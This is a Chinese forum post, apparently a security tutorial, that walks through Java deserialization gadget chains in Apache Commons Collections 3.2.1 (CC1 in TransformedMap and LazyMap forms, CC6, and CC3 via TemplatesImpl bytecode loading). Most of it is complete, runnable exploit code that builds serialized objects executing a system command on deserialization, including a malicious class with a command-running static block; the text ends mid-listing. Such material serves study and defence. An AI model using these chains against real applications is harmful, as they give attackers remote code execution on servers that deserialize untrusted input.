Java CC链全分析

打印 上一主题 下一主题

主题 913|帖子 913|积分 2739

CC链全称CommonsCollections(Java常用的一个库)

梦的开始CC1

情况摆设

JDK版本:jdk8u65
Maven依赖:
  1. <dependencies>
  2.         
  3.         <dependency>
  4.             <groupId>junit</groupId>
  5.             <artifactId>junit</artifactId>
  6.             <version>4.11</version>
  7.             <scope>test</scope>
  8.         </dependency>
  9.         
  10.         <dependency>
  11.             <groupId>commons-collections</groupId>
  12.             <artifactId>commons-collections</artifactId>
  13.             <version>3.2.1</version>
  14.         </dependency>
  15. </dependencies>
复制代码
流程分析

入口:org.apache.commons.collections.Transformer,transform方法有21种实现

入口类:org.apache.commons.collections.functors.InvokerTransformer,它的transform方法使用了反射来调用input的方法,input,iMethodName,iParamTypes,iArgs都是可控的

首先先尝试直接使用invoketransformer来实行命令
  1. package com.f12;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.InvokerTransformer;
  4. public class CC1 {
  5.     public static void main(String[] args) {
  6.         new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());
  7.     }
  8. }
复制代码
成功实行命令

现在的重点就是去找一个别的的类有transform方法,并且传入的Object是可控的,然后我们只要把这个Object设为InvokeTransformer即可,我们全局搜刮transform方法,能够发现很多类都是有transform方法的,我们这里先研究的是CC1,所以我们直接看TransformerMap类

在TransformedMap中的checkSetValue方法中调用了transform,valueTransformer是构造的时候赋的值,再看构造函数

构造函数是一个protected,所以不能让我们直接实例赋值,只能是类内部构造赋值,找那里调用了构造函数

一个静态方法,这里我们就能控制参数了

现在调用transform方法的问题办理了,返回去看checkSetValue,可以看到value我们临时不能控制,全局搜刮checkSetValue,看谁调用了它,并且value值可受控制,在AbstractInputCheckedMapDecorator类中发现,凑巧的是,它刚好是TransformedMap的父类


在这里如果对Java聚集认识一点的人看到了setValue字样就应该想起来,我们在遍历聚集的时候就用过setValue和getValue,所以我们只要对decorate这个map举行遍历setValue,由于TransformedMap继承了AbstractInputCheckedMapDecorator类,因此当调用setValue时会去父类探求,写一个demo来测试一下:
  1. package com.f12;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.InvokerTransformer;
  4. import org.apache.commons.collections.map.TransformedMap;
  5. import java.util.HashMap;
  6. import java.util.Map;
  7. public class CC1 {
  8.     public static void main(String[] args) {
  9.         Runtime r = Runtime.getRuntime();
  10.         InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
  11.         HashMap<Object, Object> map = new HashMap<>();
  12.         map.put("1","2");
  13.         Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
  14.         for(Map.Entry entry:decorate.entrySet()){
  15.             entry.setValue(r);
  16.         }
  17.     }
  18. }
复制代码
成了

我们追踪一下setValue看是在哪调用的,在AnnotationInvocationHandler中找到,而且还是在重写的readObject中调用的setValue,这还省去了再去找readObject
  1.   private void readObject(java.io.ObjectInputStream s)
  2.         throws java.io.IOException, ClassNotFoundException {
  3.         s.defaultReadObject();
  4.         // Check to make sure that types have not evolved incompatibly
  5.         AnnotationType annotationType = null;
  6.         try {
  7.             annotationType = AnnotationType.getInstance(type);
  8.         } catch(IllegalArgumentException e) {
  9.             // Class is no longer an annotation type; time to punch out
  10.             throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
  11.         }
  12.         Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  13.         // If there are annotation members without values, that
  14.         // situation is handled by the invoke method.
  15.         for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
  16.             String name = memberValue.getKey();
  17.             Class<?> memberType = memberTypes.get(name);
  18.             if (memberType != null) {  // i.e. member still exists
  19.                 Object value = memberValue.getValue();
  20.                 if (!(memberType.isInstance(value) ||
  21.                       value instanceof ExceptionProxy)) {
  22.                     memberValue.setValue(
  23.                         new AnnotationTypeMismatchExceptionProxy(
  24.                             value.getClass() + "[" + value + "]").setMember(
  25.                                 annotationType.members().get(name)));
  26.                 }
  27.             }
  28.         }
  29.     }
  30. }
复制代码
我们分析下AnnotationInvocationHandler这个类,未用public声明,说明只能通过反射调用

查看一下构造方法,传入一个Class和Map,其中Class继承了Annotation,也就是需要传入一个注解类进去,这里我们选择Target,之后说为什么

构造exp:
  1. package com.f12;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.InvokerTransformer;
  4. import org.apache.commons.collections.map.TransformedMap;
  5. import java.lang.annotation.Target;
  6. import java.lang.reflect.Constructor;
  7. import java.lang.reflect.InvocationTargetException;
  8. import java.util.HashMap;
  9. import java.util.Map;
  10. public class CC1 {
  11.     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
  12.         Runtime r = Runtime.getRuntime();
  13.         InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
  14.         HashMap<Object, Object> map = new HashMap<>();
  15.         map.put("1","2");
  16.         Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
  17. //        for(Map.Entry entry:decorate.entrySet()){
  18. //            entry.setValue(r);
  19. //        }
  20.         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  21.         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
  22.         constructor.setAccessible(true);
  23.         Object o = constructor.newInstance(Target.class, decorate);
  24.     }
  25. }
复制代码
现在有个困难是Runtime类是不能被序列化的,但是反射来的类是可以被序列化的,还好InvokeTransformer有一个绝佳的反射机制,构造一下:
  1. Method RuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
  2. Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(RuntimeMethod);
  3. InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
复制代码
现在还有个小问题,其中我们的transformedmap是传入了一个invokertransformer,但是现在这个对象没有了,被拆成了多个,就是上述四段代码,得想个办法统合起来,这里就回到最初的Transformer接口里去探求,找到ChainedTransformer,刚好这个方法是递归调用数组里的transform方法

我们就可以这样构造:
  1. Transformer[] transformers = new Transformer[]{
  2.     new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
  3.     new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  4.     new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  5. };
  6. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  7. HashMap<Object, Object> map = new HashMap<>();
  8. map.put("1","2");
  9. Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
复制代码
到这一步雏形以及可以构造出来了
  1. package com.f12;
  2. import com.sun.xml.internal.ws.encoding.MtomCodec;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.TransformedMap;
  7. import java.io.*;
  8. import java.lang.annotation.Target;
  9. import java.lang.reflect.Constructor;
  10. import java.lang.reflect.InvocationTargetException;
  11. import java.lang.reflect.Method;
  12. import java.util.HashMap;
  13. import java.util.Map;
  14. public class CC1 {
  15.     public static void serialize(Object obj) throws IOException {
  16.         FileOutputStream fos = new FileOutputStream("cc1.bin");
  17.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  18.         oos.writeObject(obj);
  19.     }
  20.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  21.         FileInputStream fis = new FileInputStream(filename);
  22.         ObjectInputStream ois = new ObjectInputStream(fis);
  23.         ois.readObject();
  24.     }
  25.     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
  26.         Transformer[] transformers = new Transformer[]{
  27.             new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
  28.             new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  29.             new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  30.         };
  31.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  32.         HashMap<Object, Object> map = new HashMap<>();
  33.         map.put("1","2");
  34.         Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
  35.         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  36.         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
  37.         constructor.setAccessible(true);
  38.         Object o = constructor.newInstance(Target.class, decorate);
  39.         serialize(o);
  40.         deserialize("cc1.bin");
  41.     }
  42. }
复制代码
但是这里反序列化并不能实行命令,why?原因在于AnnotationInvocationHandler里触发setValue是有条件的,我们调试追踪进去看看:

要想触发setValue得先过两个if判断,先看第一个if判断,memberType不能为null,memberType实在就是我们之前传入的注解类Target的一个属性,这个属性那里来的?就是我们最先传入的map  map.put("1","2")
获取这个name:1,获取1这个属性,很明显我们的Target注解类是没有1这个属性的,我们看一下Target类

Target是有value这个属性的,所以我们改一下map,map.put("value", 1),这样就过了第一个if,接着往下看第二个if,这里value只要有值就过了,成功到达setValue,但这里还有末了一个问题,如何让他调用Runtime.class?这里又得提到一个类,ConstantTransformer,这个类的特点就是我们传入啥,它直接就返回啥

这样就能构造终极的exp:
  1. package com.f12;
  2. import com.sun.xml.internal.ws.encoding.MtomCodec;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.map.TransformedMap;
  8. import java.io.*;
  9. import java.lang.annotation.Target;
  10. import java.lang.reflect.Constructor;
  11. import java.lang.reflect.InvocationTargetException;
  12. import java.lang.reflect.Method;
  13. import java.util.HashMap;
  14. import java.util.Map;
  15. public class CC1 {
  16.     public static void serialize(Object obj) throws IOException {
  17.         FileOutputStream fos = new FileOutputStream("cc1.bin");
  18.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  19.         oos.writeObject(obj);
  20.     }
  21.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  22.         FileInputStream fis = new FileInputStream(filename);
  23.         ObjectInputStream ois = new ObjectInputStream(fis);
  24.         ois.readObject();
  25.     }
  26.     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
  27.         Transformer[] transformers = new Transformer[]{
  28.             new ConstantTransformer(Runtime.class),
  29.             new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
  30.             new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  31.             new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  32.         };
  33.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  34.         HashMap<Object, Object> map = new HashMap<>();
  35.         map.put("value","1");
  36.         Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
  37.         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  38.         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
  39.         constructor.setAccessible(true);
  40.         Object o = constructor.newInstance(Target.class, decorate);
  41.         serialize(o);
  42.         deserialize("cc1.bin");
  43.     }
  44. }
复制代码
成功实行

以上是其中一条CC1,还有另一条CC1,是从LazyMap入手,我们也来分析一下,在LazyMap的get方法里调用了transform

看构造方法,factory需要我们控制,同样在类内部找那里调用了这个构造方法

很明显,跟之前根本相似,就是从checkValue换到了get

那么get在哪调用的,还是在AnnotationInvocationHandler,它的invoke方法调用了get
  1. public Object invoke(Object proxy, Method method, Object[] args) {
  2.         String member = method.getName();
  3.         Class<?>[] paramTypes = method.getParameterTypes();
  4.         // Handle Object and Annotation methods
  5.         if (member.equals("equals") && paramTypes.length == 1 &&
  6.             paramTypes[0] == Object.class)
  7.             return equalsImpl(args[0]);
  8.         if (paramTypes.length != 0)
  9.             throw new AssertionError("Too many parameters for an annotation method");
  10.         switch(member) {
  11.         case "toString":
  12.             return toStringImpl();
  13.         case "hashCode":
  14.             return hashCodeImpl();
  15.         case "annotationType":
  16.             return type;
  17.         }
  18.         // Handle annotation member accessors
  19.         Object result = memberValues.get(member);
  20.         if (result == null)
  21.             throw new IncompleteAnnotationException(type, member);
  22.         if (result instanceof ExceptionProxy)
  23.             throw ((ExceptionProxy) result).generateException();
  24.         if (result.getClass().isArray() && Array.getLength(result) != 0)
  25.             result = cloneArray(result);
  26.         return result;
  27.     }
复制代码
这里是个动态署理,我们可以用AnnotationInvocationHandler来署理LazyMap,这样就会触发invoke方法,构造一下exp(根本大差不差):
  1. package com.f12;
  2. import com.sun.xml.internal.ws.encoding.MtomCodec;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import org.apache.commons.collections.map.TransformedMap;
  9. import java.io.*;
  10. import java.lang.annotation.Target;
  11. import java.lang.reflect.*;
  12. import java.util.HashMap;
  13. import java.util.Map;
  14. public class CC1_LazyMap {
  15.     public static void serialize(Object obj) throws IOException {
  16.         FileOutputStream fos = new FileOutputStream("cc1_lazymap.bin");
  17.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  18.         oos.writeObject(obj);
  19.     }
  20.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  21.         FileInputStream fis = new FileInputStream(filename);
  22.         ObjectInputStream ois = new ObjectInputStream(fis);
  23.         ois.readObject();
  24.     }
  25.     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
  26.         Transformer[] transformers = new Transformer[]{
  27.                 new ConstantTransformer(Runtime.class),
  28.                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
  29.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  30.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  31.         };
  32.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  33.         HashMap<Object, Object> map = new HashMap<>();
  34.         Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
  35.         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  36.         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
  37.         constructor.setAccessible(true);
  38.         InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
  39.         Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
  40.         Object o = constructor.newInstance(Target.class, newMap);
  41.         serialize(o);
  42.         deserialize("cc1_lazymap.bin");
  43.     }
  44. }
复制代码
魂牵梦绕CC6

CC6不受jdk版本限定,算是一条最常用的CC链
这是Ysoserial上的CC6,可以看到后半部门没变,从LazyMap.get开始通过TiedMapEntry.getValue来调用了,我们追踪一下

TiedMapEntry.getValue调用了map.get

看构造函数,map,key我们都能控制

找getValue方法在哪调用,TiedMapEntry自身的hashCode方法调用了,看到这个hashCode是不是很眼熟,没错,我们研究URLDNS的时候就是用到这里,那么显而易见,我们前面的就是HashMap了

构造exp,注意这里跟URLDNS有雷同的问题,hashMap.put的时候就触发了hash方法也同时调用了hashCode,所以直接就实行命令了,还是同样的手法将某些值改一下就行了
  1. package com.f12;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import java.io.*;
  9. import java.lang.reflect.Field;
  10. import java.util.HashMap;
  11. import java.util.Map;
  12. public class CC6 {
  13.     public static void serialize(Object obj) throws IOException {
  14.         FileOutputStream fos = new FileOutputStream("cc6.bin");
  15.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  16.         oos.writeObject(obj);
  17.     }
  18.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  19.         FileInputStream fis = new FileInputStream(filename);
  20.         ObjectInputStream ois = new ObjectInputStream(fis);
  21.         ois.readObject();
  22.     }
  23.     public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
  24.         Transformer[] transformers = new Transformer[]{
  25.             new ConstantTransformer(Runtime.class),
  26.             new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  27.             new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  28.             new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  29.         };
  30.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  31.         Map<Object, Object> map = new HashMap<>();
  32.         Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
  33.         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
  34.         HashMap<Object, Object> hashMap = new HashMap<>();
  35.         hashMap.put(tiedMapEntry, null);
  36.         Field factory = LazyMap.class.getDeclaredField("factory");
  37.         factory.setAccessible(true);
  38.         factory.set(lazymap, chainedTransformer);
  39.         serialize(hashMap);
  40.         deserialize("cc6.bin");
  41.     }
  42. }
复制代码
但是这里奇怪的是还是没法弹计算器,我们调试一下看看,发现是LazyMap.get这里的问题,这里有一个if判断,我们这个map没有给值,在hashMap.put触发后给put进去一个null的键,第二次触发的之前我们把这个键删掉就行了。
  1. package com.f12;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import java.io.*;
  9. import java.lang.reflect.Field;
  10. import java.util.HashMap;
  11. import java.util.Map;
  12. public class CC6 {
  13.     public static void serialize(Object obj) throws IOException {
  14.         FileOutputStream fos = new FileOutputStream("cc6.bin");
  15.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  16.         oos.writeObject(obj);
  17.     }
  18.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  19.         FileInputStream fis = new FileInputStream(filename);
  20.         ObjectInputStream ois = new ObjectInputStream(fis);
  21.         ois.readObject();
  22.     }
  23.     public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
  24.         Transformer[] transformers = new Transformer[]{
  25.             new ConstantTransformer(Runtime.class),
  26.             new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  27.             new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  28.             new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  29.         };
  30.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  31.         Map<Object, Object> map = new HashMap<>();
  32.         Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
  33.         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
  34.         HashMap<Object, Object> hashMap = new HashMap<>();
  35.         hashMap.put(tiedMapEntry, null);
  36.         map.remove(null);
  37.         Field factory = LazyMap.class.getDeclaredField("factory");
  38.         factory.setAccessible(true);
  39.         factory.set(lazymap, chainedTransformer);
  40.         serialize(hashMap);
  41.         deserialize("cc6.bin");
  42.     }
  43. }
复制代码
ok,拿下CC6
有一说一CC3

CC3就跟前两条链不太一样了,CC1与CC6都是实行命令,而CC3是实行静态代码块,CC3采用的是动态加载类,也就是使用了defineClass,我们搜刮哪些类有defineClass,找到这个TemplatesImpl,这玩意锋利的很,以后还有很多地方用到

继承跟进,在defineTransletClasses方法中调用了defineClass
  1. private void defineTransletClasses()
  2.         throws TransformerConfigurationException {
  3.         if (_bytecodes == null) {
  4.             ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
  5.             throw new TransformerConfigurationException(err.toString());
  6.         }
  7.         TransletClassLoader loader = (TransletClassLoader)
  8.             AccessController.doPrivileged(new PrivilegedAction() {
  9.                 public Object run() {
  10.                     return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
  11.                 }
  12.             });
  13.         try {
  14.             final int classCount = _bytecodes.length;
  15.             _class = new Class[classCount];
  16.             if (classCount > 1) {
  17.                 _auxClasses = new HashMap<>();
  18.             }
  19.             for (int i = 0; i < classCount; i++) {
  20.                 _class[i] = loader.defineClass(_bytecodes[i]);
  21.                 final Class superClass = _class[i].getSuperclass();
  22.                 // Check if this is the main class
  23.                 if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
  24.                     _transletIndex = i;
  25.                 }
  26.                 else {
  27.                     _auxClasses.put(_class[i].getName(), _class[i]);
  28.                 }
  29.             }
  30.             if (_transletIndex < 0) {
  31.                 ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
  32.                 throw new TransformerConfigurationException(err.toString());
  33.             }
  34.         }
  35.         catch (ClassFormatError e) {
  36.             ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
  37.             throw new TransformerConfigurationException(err.toString());
  38.         }
  39.         catch (LinkageError e) {
  40.             ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
  41.             throw new TransformerConfigurationException(err.toString());
  42.         }
  43.     }
复制代码
这里有几个判断得注意,首先是_bytecodes不能为null,然后就是_tfactory不能为null,不过_tfactory在readObject方法里被赋值了,因此不用管,继承跟进看谁调用了defineTransletClasses,看getTransletInstance,得绕过第一个if判断,所以得反射赋值给__name

继承跟进看谁调用了getTransletInstance,现在根本有一个构造思路了,new 一个TemplateIml对象,然后调用newTransformer方法,从而去defineClass

由于还没序列化,所以先手动给_tfactory赋值,不过运行后报了个空指针错误
  1. package com.f12;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import javax.xml.transform.Transformer;
  5. import javax.xml.transform.TransformerConfigurationException;
  6. import java.io.*;
  7. import java.lang.reflect.Field;
  8. import java.nio.file.Files;
  9. import java.nio.file.Paths;
  10. public class CC3 {
  11.     public static void serialize(Object obj) throws IOException {
  12.         FileOutputStream fos = new FileOutputStream("cc6.bin");
  13.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  14.         oos.writeObject(obj);
  15.     }
  16.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  17.         FileInputStream fis = new FileInputStream(filename);
  18.         ObjectInputStream ois = new ObjectInputStream(fis);
  19.         ois.readObject();
  20.     }
  21.     public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
  22.         TemplatesImpl templates = new TemplatesImpl();
  23.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
  24.         _name.setAccessible(true);
  25.         _name.set(templates, "1");
  26.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
  27.         _bytecodes.setAccessible(true);
  28.         byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
  29.         byte[][] code = {bytes};
  30.         _bytecodes.set(templates, code);
  31.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
  32.         _tfactory.setAccessible(true);
  33.         _tfactory.set(templates, new TransformerFactoryImpl());
  34.         Transformer transformer = templates.newTransformer();
  35.     }
  36. }
复制代码
  1. package com.f12;
  2. import java.io.IOException;
  3. public class Eval {
  4.     static {
  5.         try {
  6.             Runtime.getRuntime().exec("calc");
  7.         } catch (IOException e) {
  8.             throw new RuntimeException(e);
  9.         }
  10.     }
  11.     public static void main(String[] args) {
  12.     }
  13. }
复制代码
调试发现在这由于if判断没过,导致进去这个空指针错误,继承反射修改ABSTRACT_TRANSLET的值就ok,或则让恶意类Eval继承这个ABSTRACT_TRANSLET所指向的类

成功弹出计算器
  1. package com.f12;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import javax.xml.transform.Transformer;
  5. import javax.xml.transform.TransformerConfigurationException;
  6. import java.io.*;
  7. import java.lang.reflect.Field;
  8. import java.nio.file.Files;
  9. import java.nio.file.Paths;
  10. public class CC3 {
  11.     public static void serialize(Object obj) throws IOException {
  12.         FileOutputStream fos = new FileOutputStream("cc6.bin");
  13.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  14.         oos.writeObject(obj);
  15.     }
  16.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  17.         FileInputStream fis = new FileInputStream(filename);
  18.         ObjectInputStream ois = new ObjectInputStream(fis);
  19.         ois.readObject();
  20.     }
  21.     public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
  22.         TemplatesImpl templates = new TemplatesImpl();
  23.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
  24.         _name.setAccessible(true);
  25.         _name.set(templates, "1");
  26.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
  27.         _bytecodes.setAccessible(true);
  28.         byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
  29.         byte[][] code = {bytes};
  30.         _bytecodes.set(templates, code);
  31.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
  32.         _tfactory.setAccessible(true);
  33.         _tfactory.set(templates, new TransformerFactoryImpl());
  34.         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
  35.         ABSTRACT_TRANSLET.setAccessible(true);
  36.         ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
  37.         Transformer transformer = templates.newTransformer();
  38.     }
  39. }
复制代码
末了的问题是如何去序列化,可以看到Transformer这个类,我们可以结合CC1或者CC6
  1. package com.f12;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import org.apache.commons.collections.Transformer;
  5. import org.apache.commons.collections.functors.ChainedTransformer;
  6. import org.apache.commons.collections.functors.ConstantTransformer;
  7. import org.apache.commons.collections.functors.InvokerTransformer;
  8. import org.apache.commons.collections.map.LazyMap;
  9. import java.io.*;
  10. import java.lang.annotation.Target;
  11. import java.lang.reflect.*;
  12. import java.nio.file.Files;
  13. import java.nio.file.Paths;
  14. import java.util.HashMap;
  15. import java.util.Map;
  16. public class CC3 {
  17.     public static void serialize(Object obj) throws IOException {
  18.         FileOutputStream fos = new FileOutputStream("cc3.bin");
  19.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  20.         oos.writeObject(obj);
  21.     }
  22.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  23.         FileInputStream fis = new FileInputStream(filename);
  24.         ObjectInputStream ois = new ObjectInputStream(fis);
  25.         ois.readObject();
  26.     }
  27.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
  28.         TemplatesImpl templates = new TemplatesImpl();
  29.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
  30.         _name.setAccessible(true);
  31.         _name.set(templates, "1");
  32.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
  33.         _bytecodes.setAccessible(true);
  34.         byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
  35.         byte[][] code = {bytes};
  36.         _bytecodes.set(templates, code);
  37.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
  38.         _tfactory.setAccessible(true);
  39.         _tfactory.set(templates, new TransformerFactoryImpl());
  40.         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
  41.         ABSTRACT_TRANSLET.setAccessible(true);
  42.         ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
  43. //        Transformer transformer = templates.newTransformer();
  44.         Transformer[] transformers = new Transformer[]{
  45.                 new ConstantTransformer(templates),
  46.                 new InvokerTransformer("newTransformer", null, null)
  47.         };
  48.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  49.         HashMap<Object, Object> map = new HashMap<>();
  50.         Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
  51.         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  52.         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
  53.         constructor.setAccessible(true);
  54.         InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
  55.         Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
  56.         Object o = constructor.newInstance(Target.class, newMap);
  57.         serialize(o);
  58.         deserialize("cc3.bin");
  59.     }
  60. }
复制代码
  1. package com.f12;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
